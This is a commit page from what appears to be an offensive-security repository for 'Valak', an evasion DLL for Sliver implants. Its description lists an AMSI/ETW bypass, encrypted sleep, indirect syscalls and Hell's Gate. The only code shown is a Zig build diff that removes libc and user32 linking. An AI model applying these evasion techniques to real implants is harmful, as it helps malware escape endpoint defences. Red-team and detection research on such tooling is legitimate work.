Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.

2026-07-18 09:30:00 +01:00
parent fe2726a430
commit 7ecc30f1cd
24 changed files with 727 additions and 466 deletions
@@ -15,14 +15,12 @@ pub fn build(b: *std.Build) void {
        .optimize = optimize,
        .strip = strip,
        .single_threaded = true,
-        .link_libc = true,
    });

    module.addAssemblyFile(b.path("arch/hells_gate.s"));
    module.linkSystemLibrary("kernel32", .{});
    module.linkSystemLibrary("ntdll", .{});
    module.linkSystemLibrary("advapi32", .{});
-    module.linkSystemLibrary("user32", .{});

    const lib = b.addLibrary(.{
        .name = "valak",